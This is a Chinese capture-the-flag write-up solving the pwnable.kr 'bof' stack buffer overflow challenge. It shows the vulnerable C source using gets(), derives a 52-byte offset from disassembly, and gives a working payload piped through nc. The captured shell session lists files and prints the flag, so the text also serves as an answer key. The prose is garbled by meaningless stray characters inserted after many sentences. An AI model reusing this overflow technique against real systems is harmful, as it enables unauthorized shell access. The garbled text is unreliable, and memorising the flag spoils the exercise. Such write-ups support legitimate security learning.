pwnable.kr bof
image.png
同樣的圣猎,既然有源代碼。我們就配合著源代碼來做題乞而,這樣可能更利于搞懂高級語言被反匯編之后兩者之間的聯(lián)系样漆。
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
這是關(guān)于數(shù)組溢出的問題,導(dǎo)致這個問題的原因是由于 gets() 函數(shù)沒有檢查接受字符串長度導(dǎo)致的晦闰。有的編譯器在編譯源代碼的時候也會提示警告放祟。其實這個題目也是相當?shù)暮唵危绻懔私鈼C制的話呻右。
我們要做的就是讓輸入的字符串的后面四個字節(jié)覆蓋 key跪妥。其實我們要做的就是算出 overflow 數(shù)組的首地址到 key 首地址之間的距離。
image.png
gets(overflow) 是接受輸入声滥,當然是從 overflow 的首地址開始存儲字節(jié)眉撵。前面的 esp (esp在匯編中為棧頂指針,棧中數(shù)據(jù)都是從棧頂進去的落塑,所以你懂的...)存放的就是 overflow 的基址纽疟,為 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址當然要在 cmd 里面找憾赁,因為 if (key == 0x....) 所以 ebp + arg_0, 就是 key 的基址污朽,其中 arg_0 = dword ptr 8。然后很簡單的算出兩者的距離為 52龙考。所以我們在輸入 0xcafebabe 之前需要填充 52 個字符蟆肆。
解題:
$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
Flag:daddy, I just pwned a buFFer :)
其實用 gdb 調(diào)試也是一樣的,由于時間和精力問題晦款,這里不繼續(xù)下去炎功,感興趣的自己去嘗試。